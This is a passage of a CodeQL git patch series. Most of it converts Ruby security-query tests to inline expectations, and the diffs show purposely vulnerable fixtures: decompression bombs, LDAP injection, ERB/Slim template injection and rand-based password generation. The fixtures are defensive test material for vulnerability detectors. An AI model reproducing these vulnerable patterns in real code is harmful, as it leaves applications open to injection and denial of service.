"none", _env={ "_JAVA_OPTIONS": "-Duser.home=" + os.path.join(os.getcwd(), "empty-home") diff --git a/java/ql/integration-tests/java/buildless-proxy-gradle/test.py b/java/ql/integration-tests/java/buildless-proxy-gradle/test.py index 970c78f97ab..251efbede22 100644 --- a/java/ql/integration-tests/java/buildless-proxy-gradle/test.py +++ b/java/ql/integration-tests/java/buildless-proxy-gradle/test.py @@ -1,4 +1,4 @@ -def test(codeql, java, codeql_mitm_proxy, gradle_8_3): +def test(codeql, java, codeql_mitm_proxy, gradle_8_3, check_diagnostics_java): codeql.database.create( _env={ "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true", diff --git a/java/ql/integration-tests/java/buildless-proxy-maven/test.py b/java/ql/integration-tests/java/buildless-proxy-maven/test.py index c8919d321fa..879a1b3a80a 100644 --- a/java/ql/integration-tests/java/buildless-proxy-maven/test.py +++ b/java/ql/integration-tests/java/buildless-proxy-maven/test.py @@ -1,4 +1,4 @@ -def test(codeql, java, codeql_mitm_proxy): +def test(codeql, java, codeql_mitm_proxy, check_diagnostics_java): codeql.database.create( _env={ "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true", diff --git a/java/ql/integration-tests/java/buildless-sibling-projects/test.py b/java/ql/integration-tests/java/buildless-sibling-projects/test.py index 1b7cae27c64..65ae24ed441 100644 --- a/java/ql/integration-tests/java/buildless-sibling-projects/test.py +++ b/java/ql/integration-tests/java/buildless-sibling-projects/test.py @@ -1,4 +1,4 @@ -def test(codeql, use_java_11, java, actions_toolchains_file): +def test(codeql, use_java_11, java, actions_toolchains_file, check_diagnostics_java): # The version of gradle used doesn't work on java 17 codeql.database.create( _env={ diff --git a/java/ql/integration-tests/java/buildless/test.py b/java/ql/integration-tests/java/buildless/test.py index 834b1132cf1..aa78b3574f9 100644 --- a/java/ql/integration-tests/java/buildless/test.py +++ b/java/ql/integration-tests/java/buildless/test.py @@ -1,2 +1,2 @@ -def test(codeql, java): +def test(codeql, java, check_diagnostics_java): codeql.database.create(_env={"CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true"}) From 66db0d42a9f938f510699f5d885c557bd69ba590 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 15 Jun 2026 15:41:19 +0200 Subject: [PATCH 127/143] C#: Address review comment. --- .../Entities/Expressions/ElementAccess.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs index 4b8856f6397..b75b3e7d0d9 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs @@ -123,7 +123,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { if (range is not null) { - // Populate the call arguments in case + // Populate the call arguments var left = range.LeftOperand is ExpressionSyntax lsyntax ? MakeFromRangeEndpoint(lsyntax, this, 0) : MakeZeroLiteral(this, 0); From c31b594bbc4895481a5d5a3ea092ae9c50cbdaf0 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 15 Jun 2026 16:17:46 +0200 Subject: [PATCH 128/143] C#: Address review comments. --- csharp/ql/lib/semmle/code/csharp/Property.qll | 26 +++++++------------ 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/Property.qll b/csharp/ql/lib/semmle/code/csharp/Property.qll index 50b151694de..3a007b0d6e9 100644 --- a/csharp/ql/lib/semmle/code/csharp/Property.qll +++ b/csharp/ql/lib/semmle/code/csharp/Property.qll @@ -57,30 +57,24 @@ class DeclarationWithGetSetAccessors extends DeclarationWithAccessors, TopLevelE /** Gets the `set` accessor of this declaration, if any. */ Setter getSetter() { result = this.getAnAccessor() } - /** Gets the target `get` accessor of this declaration, if any. */ - private Getter getFirstGetter() { - if exists(this.getGetter()) - then result = this.getGetter() - else result = this.getOverridee().getFirstGetter() - } - /** Gets the target accessor of this declaration when used in a read context, if any. */ - Accessor getReadTarget() { result = this.getFirstGetter() } - - /** Gets the target `set` accessor of this declaration, if any. */ - private Setter getFirstSetter() { - if exists(this.getSetter()) - then result = this.getSetter() - else result = this.getOverridee().getFirstSetter() + Accessor getReadTarget() { + result = this.getGetter() + or + not exists(this.getGetter()) and + result = this.getOverridee().getReadTarget() } /** Gets the target accessor of this declaration when used in a write context, if any. */ Accessor getWriteTarget() { - result = this.getFirstSetter() + result = this.getSetter() + or + not exists(this.getSetter()) and + result = this.getOverridee().getWriteTarget() or result = any(Getter g | - g = this.getFirstGetter() and + g = this.getReadTarget() and g.getAnnotatedReturnType().isRef() ) } From 78d95719a567f33235b2d71a0077efd979e957c2 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Mon, 15 Jun 2026 11:49:03 +0100 Subject: [PATCH 129/143] Do not convert test that is example of not using inline expectations --- .../QlRefInlineExpectations/QlRefInlineExpectations.expected | 2 +- ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/QlRefInlineExpectations.expected b/ql/ql/test/queries/style/QlRefInlineExpectations/QlRefInlineExpectations.expected index 9605589e514..4725f6b634b 100644 --- a/ql/ql/test/queries/style/QlRefInlineExpectations/QlRefInlineExpectations.expected +++ b/ql/ql/test/queries/style/QlRefInlineExpectations/QlRefInlineExpectations.expected @@ -1 +1 @@ -| Test3.qlref:1:1:1:22 | query: ... uery.ql | Query test does not use inline test expectations. | +| Test3.qlref:1:1:1:23 | query: ... uery.ql | Query test does not use inline test expectations. | diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref b/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref index f840a91b59e..d6af10c0fe6 100644 --- a/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref +++ b/ql/ql/test/queries/style/QlRefInlineExpectations/Test3.qlref @@ -1,2 +1 @@ query: ProblemQuery.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql From 4f1d6f472d474e69782c9c3c7902022bc93e5793 Mon Sep 17 00:00:00 2001 From: Chad Bentz <1760475+felickz@users.noreply.github.com> Date: Mon, 15 Jun 2026 11:34:43 -0400 Subject: [PATCH 130/143] Fix test comments: replace GOOD/BAD markers with flow source descriptions Per review feedback, GOOD/BAD markers don't apply to flow source enumeration tests. Use descriptive comments instead. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../dataflow/flowsources/aspremote/AspRemoteFlowSource.cs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/AspRemoteFlowSource.cs b/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/AspRemoteFlowSource.cs index 8507d60cd39..5bc8025f231 100644 --- a/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/AspRemoteFlowSource.cs +++ b/csharp/ql/test/library-tests/dataflow/flowsources/aspremote/AspRemoteFlowSource.cs @@ -67,7 +67,7 @@ namespace Testing // Razor Page handler tests public class MyPageModel : Microsoft.AspNetCore.Mvc.RazorPages.PageModel { - // BAD: handler method parameters are user-controlled + // Handler method parameters are remote flow sources public void OnGet(string id) { } public void OnPost(string command, int count) { } @@ -78,10 +78,10 @@ namespace Testing public void OnDelete(string itemId) { } - // GOOD: not a handler method (doesn't start with On) + // Not a handler method — does not start with "On", so not a flow source public void GetUser(string userId) { } - // GOOD: marked with NonHandler attribute + // Excluded by [NonHandler] attribute, so not a flow source [Microsoft.AspNetCore.Mvc.RazorPages.NonHandlerAttribute] public void OnGetNonHandler(string param) { } } From bc9fa6ba131fab239bffeaefec6d374664fd10bb Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Mon, 15 Jun 2026 21:06:03 +0100 Subject: [PATCH 131/143] Fix bug in inline expectations test implementation This was stopping trailing comments, as in `// $ Alert // some comment`, from working. --- swift/ql/lib/utils/test/internal/InlineExpectationsTestImpl.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/swift/ql/lib/utils/test/internal/InlineExpectationsTestImpl.qll b/swift/ql/lib/utils/test/internal/InlineExpectationsTestImpl.qll index af84a908633..b96f27c42ac 100644 --- a/swift/ql/lib/utils/test/internal/InlineExpectationsTestImpl.qll +++ b/swift/ql/lib/utils/test/internal/InlineExpectationsTestImpl.qll @@ -15,7 +15,7 @@ module Impl implements InlineExpectationsTestSig { ExpectationComment() { this = MkExpectationComment(comment) } /** Returns the contents of the given comment, _without_ the preceding comment marker (`//`). */ - string getContents() { result = comment.getText().suffix(2) } + string getContents() { result = comment.getText().suffix(2).trim() } /** Gets a textual representation of this element. */ string toString() { result = comment.toString() } From 84e7c2de6c2a87ce400c562ea08778eb120b7399 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 11 Jun 2026 22:32:56 +0000 Subject: [PATCH 132/143] Convert Ruby qlref tests to inline expectations --- .../DecompressionBombs.qlref | 3 +- .../CWE-522-DecompressionBombs/gzipBombs.rb | 16 +- .../CWE-522-DecompressionBombs/zipBombs.rb | 28 +-- .../ImproperLdapAuth/ImproperLdapAuth.qlref | 3 +- .../ImproperLdapAuth/ImproperLdapAuth.rb | 10 +- .../InsecureRandomness.qlref | 3 +- .../InsecureRandomness/InsecureRandomness.rb | 4 +- .../LdapInjection/LdapInjection.rb | 14 +- .../LdapInjection/Ldapinjection.qlref | 3 +- .../TemplateInjection/ErbInjection.rb | 6 +- .../TemplateInjection/SlimInjection.rb | 8 +- .../TemplateInjection/TemplateInjection.qlref | 3 +- .../XPathInjection/LibxmlInjection.rb | 6 +- .../XPathInjection/NokogiriInjection.rb | 14 +- .../XPathInjection/RexmlInjection.rb | 10 +- .../XPathInjection/XPathInjection.qlref | 3 +- .../cwe-022-ZipSlip/ZipSlip.qlref | 3 +- .../experimental/cwe-022-ZipSlip/zip_slip.rb | 24 +-- .../cwe-176/UnicodeBypassValidation.qlref | 3 +- .../cwe-176/unicode_normalization.rb | 30 +-- .../experimental/cwe-347/EmptyJWTSecret.qlref | 3 +- .../experimental/cwe-347/EmptyJWTSecret.rb | 6 +- .../cwe-347/MissingJWTVerification.qlref | 3 +- .../cwe-347/MissingJWTVerification.rb | 10 +- .../cwe-502/UnsafeYamlDeserialization.qlref | 3 +- .../cwe-502/UnsafeYamlDeserialization.rb | 34 ++-- .../ManuallyCheckHttpVerb.qlref | 3 +- .../ManuallyCheckHttpVerb.rb | 26 +-- .../experimental/weak-params/WeakParams.qlref | 3 +- .../experimental/weak-params/WeakParams.rb | 10 +- .../performance/UseDetect/UseDetect.qlref | 3 +- .../performance/UseDetect/UseDetect.rb | 14 +- .../IncompleteHostnameRegExp.qlref | 3 +- .../IncompleteHostnameRegExp/hosttest.rb | 6 +- .../tst-IncompleteHostnameRegExp.rb | 48 ++--- .../IncompleteUrlSubstringSanitization.qlref | 3 +- .../tst-IncompleteUrlSubstringSanitization.rb | 50 ++--- .../MissingFullAnchor/MissingFullAnchor.qlref | 3 +- .../MissingFullAnchor/impl/miss-anchor.rb | 12 +- .../MissingRegExpAnchor.qlref | 3 +- .../missing_regexp_anchor.rb | 38 ++-- .../OverlyLargeRangeQuery.qlref | 3 +- .../suspicous_regexp_range.rb | 22 +-- .../cwe-078/KernelOpen/KernelOpen.qlref | 3 +- .../security/cwe-078/KernelOpen/KernelOpen.rb | 22 +-- .../NonConstantKernelOpen.qlref | 3 +- .../NonConstantKernelOpen.rb | 22 +-- .../UnsafeShellCommandConstruction.qlref | 3 +- .../impl/sub/notImported.rb | 5 +- .../impl/sub/other.rb | 6 +- .../impl/sub/other2.rb | 6 +- .../impl/unsafeShell.rb | 44 ++--- .../security/cwe-079/ReflectedXSS.qlref | 3 +- .../security/cwe-079/StoredXSS.qlref | 3 +- .../cwe-079/UnsafeHtmlConstruction.qlref | 3 +- .../app/controllers/foo/bars_controller.rb | 22 +-- .../app/controllers/foo/stores_controller.rb | 2 +- .../app/views/foo/bars/_widget.html.erb | 4 +- .../cwe-079/app/views/foo/bars/show.html.erb | 32 ++-- .../app/views/foo/stores/show.html.erb | 18 +- .../security/cwe-079/lib/unsafeHtml.rb | 16 +- .../security/cwe-089/ActiveRecordInjection.rb | 86 ++++----- .../security/cwe-089/ArelInjection.rb | 8 +- .../security/cwe-089/PgInjection.rb | 14 +- .../security/cwe-089/SqlInjection.qlref | 3 +- .../UnsafeCodeConstruction.qlref | 3 +- .../UnsafeCodeConstruction/impl/unsafeCode.rb | 42 ++--- .../cwe-116/BadTagFilter/BadTagFilter.qlref | 3 +- .../security/cwe-116/BadTagFilter/test.rb | 30 +-- .../IncompleteSanitization.qlref | 3 +- .../cwe-116/IncompleteSanitization/tst.rb | 100 +++++----- .../security/cwe-117/LogInjection.qlref | 3 +- .../app/controllers/users_controller.rb | 18 +- .../cwe-1333-exponential-redos/ReDoS.qlref | 3 +- .../cwe-1333-exponential-redos/tst.rb | 174 +++++++++--------- .../PolynomialReDoS.qlref | 3 +- .../PolynomialReDoS.rb | 66 +++---- .../cwe-1333-polynomial-redos/lib/index.rb | 12 +- .../RegExpInjection.qlref | 3 +- .../RegExpInjection.rb | 20 +- .../cwe-134/TaintedFormatString.qlref | 3 +- .../security/cwe-134/tainted_format_string.rb | 28 +-- .../security/cwe-209/StackTraceExposure.qlref | 3 +- .../security/cwe-209/StackTraceExposure.rb | 8 +- .../query-tests/security/cwe-295/Excon.rb | 12 +- .../query-tests/security/cwe-295/Faraday.rb | 8 +- .../security/cwe-295/HttpClient.rb | 4 +- .../query-tests/security/cwe-295/Httparty.rb | 12 +- .../query-tests/security/cwe-295/NetHttp.rb | 2 +- .../query-tests/security/cwe-295/OpenURI.rb | 14 +- .../cwe-295/RequestWithoutValidation.qlref | 3 +- .../security/cwe-295/RestClient.rb | 8 +- .../query-tests/security/cwe-295/Typhoeus.rb | 6 +- .../security/cwe-312/CleartextLogging.qlref | 3 +- .../security/cwe-312/CleartextStorage.qlref | 3 +- .../app/controllers/users_controller.rb | 46 ++--- .../security/cwe-312/app/models/user.rb | 12 +- .../query-tests/security/cwe-312/logging.rb | 58 +++--- .../cwe-327/BrokenCryptoAlgorithm.qlref | 3 +- .../cwe-327/WeakSensitiveDataHashing.qlref | 3 +- .../security/cwe-327/broken_crypto.rb | 38 ++-- .../security/cwe-327/weak_hashing.rb | 20 +- .../cwe-352/CSRFProtectionDisabled.qlref | 3 +- .../cwe-352/CSRFProtectionNotEnabled.qlref | 3 +- .../alternative_root_controller.rb | 2 +- .../app/controllers/application_controller.rb | 2 +- .../app/controllers/users_controller.rb | 2 +- .../cwe-352/railsapp/config/application.rb | 2 +- .../config/environments/development.rb | 2 +- .../config/environments/production.rb | 2 +- .../oj-global-options/OjGlobalOptions.rb | 4 +- .../UnsafeDeserialization.qlref | 3 +- .../ox-global-options/OxGlobalOptions.rb | 4 +- .../UnsafeDeserialization.qlref | 3 +- .../UnsafeDeserialization.qlref | 3 +- .../UnsafeDeserialization.rb | 86 ++++----- .../HardcodedDataInterpretedAsCode.qlref | 3 +- .../test/query-tests/security/cwe-506/tst.rb | 10 +- .../security/cwe-598/SensitiveGetQuery.qlref | 3 +- .../app/controllers/users_controller.rb | 6 +- .../security/cwe-601/UrlRedirect.qlref | 3 +- .../security/cwe-601/UrlRedirect.rb | 22 +-- .../cwe-611/libxml-backend/LibXmlBackend.rb | 10 +- .../security/cwe-611/libxml-backend/Xxe.qlref | 3 +- .../security/cwe-611/xxe/LibXmlRuby.rb | 18 +- .../security/cwe-611/xxe/Nokogiri.rb | 32 ++-- .../security/cwe-611/xxe/Xxe.qlref | 3 +- .../security/cwe-732/FilePermissions.rb | 26 +-- .../cwe-732/WeakCookieConfiguration.qlref | 3 +- .../cwe-732/WeakFilePermissions.qlref | 3 +- .../cwe-732/app/config/application.rb | 10 +- .../cwe-798/HardcodedCredentials.qlref | 3 +- .../security/cwe-798/HardcodedCredentials.rb | 24 +-- .../ConditionalBypass.qlref | 3 +- .../ConditionalBypass.rb | 10 +- .../security/cwe-912/HttpToFileAccess.qlref | 3 +- .../security/cwe-912/http_to_file_access.rb | 10 +- .../security/cwe-915/MassAssignment.qlref | 3 +- .../test/query-tests/security/cwe-915/test.rb | 48 ++--- .../cwe-918/ServerSideRequestForgery.qlref | 3 +- .../cwe-918/ServerSideRequestForgery.rb | 8 +- .../decompression-api/DecompressionApi.qlref | 3 +- .../decompression-api/decompression_api.rb | 8 +- 143 files changed, 1035 insertions(+), 978 deletions(-) diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref index c24a4cc9678..e65789fc0d9 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref @@ -1 +1,2 @@ -experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql \ No newline at end of file +query: experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb index bf9bb7b329d..1a7636809b1 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb @@ -1,27 +1,27 @@ require 'zlib' class TestController < ActionController::Base - gzip_path = params[:path] + gzip_path = params[:path] # $ Source - Zlib::GzipReader.open(gzip_path).read + Zlib::GzipReader.open(gzip_path).read # $ Alert Zlib::GzipReader.open(gzip_path) do |uncompressedfile| puts uncompressedfile.read - end + end # $ Alert Zlib::GzipReader.open(gzip_path) do |uncompressedfile| uncompressedfile.each do |entry| puts entry end - end - uncompressedfile = Zlib::GzipReader.open(gzip_path) + end # $ Alert + uncompressedfile = Zlib::GzipReader.open(gzip_path) # $ Alert uncompressedfile.each do |entry| puts entry end - Zlib::GzipReader.new(File.open(gzip_path, 'rb')).read - Zlib::GzipReader.new(File.open(gzip_path, 'rb')).each do |entry| + Zlib::GzipReader.new(File.open(gzip_path, 'rb')).read # $ Alert + Zlib::GzipReader.new(File.open(gzip_path, 'rb')).each do |entry| # $ Alert puts entry end - Zlib::GzipReader.zcat(open(gzip_path)) + Zlib::GzipReader.zcat(open(gzip_path)) # $ Alert end diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb index 5aab5ce6382..9d0d047b035 100644 --- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb +++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb @@ -1,21 +1,21 @@ require 'zip' class TestController < ActionController::Base - zipfile_path = params[:path] + zipfile_path = params[:path] # $ Source Zip::InputStream.open(zipfile_path) do |input| while (entry = input.get_next_entry) puts :file_name, entry.name input end - end + end # $ Alert Zip::InputStream.open(zipfile_path) do |input| input.read - end - input = Zip::InputStream.open(zipfile_path) + end # $ Alert + input = Zip::InputStream.open(zipfile_path) # $ Alert - Zip::File.open(zipfile_path).read "10GB" - Zip::File.open(zipfile_path).extract "10GB", "./" + Zip::File.open(zipfile_path).read "10GB" # $ Alert + Zip::File.open(zipfile_path).extract "10GB", "./" # $ Alert Zip::File.open(zipfile_path) do |zip_file| # Handle entries one by one @@ -25,33 +25,33 @@ class TestController < ActionController::Base # Extract to file or directory based on name in the archive entry.extract # Read into memory - entry.get_input_stream.read + entry.get_input_stream.read # $ Alert end end zip_file = Zip::File.open(zipfile_path) zip_file.each do |entry| - entry.extract - entry.get_input_stream.read + entry.extract # $ Alert + entry.get_input_stream.read # $ Alert end # Find specific entry Zip::File.open(zipfile_path) do |zip_file| zip_file.glob('*.xml').each do |entry| - zip_file.read(entry.name) - entry.extract + zip_file.read(entry.name) # $ Alert + entry.extract # $ Alert end entry = zip_file.glob('*.csv').first raise 'File too large when extracted' if entry.size > MAX_SIZE - puts entry.get_input_stream.read + puts entry.get_input_stream.read # $ Alert end zip_file = Zip::File.open(zipfile_path) entry = zip_file.glob('*.csv') - puts entry.get_input_stream.read + puts entry.get_input_stream.read # $ Alert zip_file = Zip::File.open(zipfile_path) zip_file.glob('*') do |entry| - entry.get_input_stream.read + entry.get_input_stream.read # $ Alert end end diff --git a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref index 65f60a22b78..42e36ad38a8 100644 --- a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref +++ b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref @@ -1 +1,2 @@ -experimental/ldap-improper-auth/ImproperLdapAuth.ql \ No newline at end of file +query: experimental/ldap-improper-auth/ImproperLdapAuth.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb index 2705158563e..19acc8a841a 100644 --- a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb +++ b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is used directly as password # (i.e a remote flow source) - pass = params[:pass] + pass = params[:pass] # $ Source # BAD: user input is not sanitized ldap = Net::LDAP.new( @@ -12,7 +12,7 @@ class FooController < ActionController::Base auth: { method: :simple, username: 'uid=admin,dc=example,dc=com', - password: pass + password: pass # $ Alert } ) ldap.bind @@ -21,14 +21,14 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is used directly as password # (i.e a remote flow source) - pass = params[:pass] + pass = params[:pass] # $ Source # BAD: user input is not sanitized ldap = Net::LDAP.new ldap.host = your_server_ip_address ldap.encryption(:method => :simple_tls) ldap.port = 639 - ldap.auth "admin", pass + ldap.auth "admin", pass # $ Alert ldap.bind end end @@ -56,4 +56,4 @@ class BarController < ApplicationController } ) end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref index 8d04d215425..e3c5fbbad50 100644 --- a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref +++ b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref @@ -1 +1,2 @@ -experimental/insecure-randomness/InsecureRandomness.ql \ No newline at end of file +query: experimental/insecure-randomness/InsecureRandomness.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb index 116957137b5..d56bebb30e7 100644 --- a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb +++ b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb @@ -3,7 +3,7 @@ require 'securerandom' def generate_password_1(length) chars = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a + ['!', '@', '#', '$', '%'] # BAD: rand is not cryptographically secure - password = (1..length).collect { chars[rand(chars.size)] }.join + password = (1..length).collect { chars[rand(chars.size)] }.join # $ Alert end def generate_password_2(length) @@ -16,4 +16,4 @@ def generate_password_2(length) end password = generate_password_1(10) -password = generate_password_2(10) \ No newline at end of file +password = generate_password_2(10) diff --git a/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb b/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb index 966b26ef636..6e258d9f180 100644 --- a/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb +++ b/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb @@ -2,11 +2,11 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is used directly as DN # (i.e a remote flow source) - dc = params[:dc] + dc = params[:dc] # $ Source # A string tainted by user input is used directly as search filter or attribute # (i.e a remote flow source) - name = params[:user_name] + name = params[:user_name] # $ Source # LDAP Connection ldap = Net::LDAP.new( @@ -22,20 +22,20 @@ class FooController < ActionController::Base # BAD: user input is used as DN # where dc is unsanitized - ldap.search(base: "ou=people,dc=#{dc},dc=com", filter: "cn=George", attributes: [""]) + ldap.search(base: "ou=people,dc=#{dc},dc=com", filter: "cn=George", attributes: [""]) # $ Alert # BAD: user input is used as search filter # where name is unsanitized - ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""]) + ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""]) # $ Alert # BAD: user input is used as attribute # where name is unsanitized - ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [name]) + ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [name]) # $ Alert # BAD: user input is used as search filter # where name is unsanitized filter = Net::LDAP::Filter.eq('cn', name) - ldap.search(base: "ou=people,dc=example,dc=com", filter: filter, attributes: [""]) + ldap.search(base: "ou=people,dc=example,dc=com", filter: filter, attributes: [""]) # $ Alert # GOOD: user input is not used in the LDAP query result = ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [""]) @@ -63,4 +63,4 @@ class BarController < ApplicationController end result = ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""]) end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref index 7df75a91d96..f1164f044e6 100644 --- a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref +++ b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref @@ -1 +1,2 @@ -experimental/ldap-injection/LdapInjection.ql \ No newline at end of file +query: experimental/ldap-injection/LdapInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb b/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb index 41b9d706953..a433e4d5436 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is inserted into a template # (i.e a remote flow source) - name = params[:name] + name = params[:name] # $ Source # Template with the source bad_text = " @@ -12,11 +12,11 @@ class FooController < ActionController::Base # BAD: user input is evaluated # where name is unsanitized - template = ERB.new(bad_text).result(binding) + template = ERB.new(bad_text).result(binding) # $ Alert # BAD: user input is evaluated # where name is unsanitized - render inline: bad_text + render inline: bad_text # $ Alert # Template with the source good_text = " diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb b/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb index 07b93a20468..0b7fbc478db 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is inserted into a template # (i.e a remote flow source) - name = params[:name] + name = params[:name] # $ Source # Template with the source (no sanitizer) bad_text = " @@ -11,7 +11,7 @@ class FooController < ActionController::Base " % name # BAD: renders user input # where text is unsanitized - Slim::Template.new{ bad_text }.render + Slim::Template.new{ bad_text }.render # $ Alert # Template with the source (no sanitizer) bad2_text = " @@ -20,7 +20,7 @@ class FooController < ActionController::Base " # BAD: renders user input # where text is unsanitized - Slim::Template.new{ bad2_text }.render + Slim::Template.new{ bad2_text }.render # $ Alert # Template with the source (no render) good_text = " @@ -64,4 +64,4 @@ class BarController < ApplicationController " % name2 template_bar1 = Slim::Template.new{ text_bar2 }.render end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref index 38054e393ee..e783cc8cabb 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref @@ -1 +1,2 @@ -experimental/template-injection/TemplateInjection.ql \ No newline at end of file +query: experimental/template-injection/TemplateInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb index 3bde2f1e40b..8a992b5ba36 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb @@ -2,7 +2,7 @@ require 'libxml' class FooController < ActionController::Base def 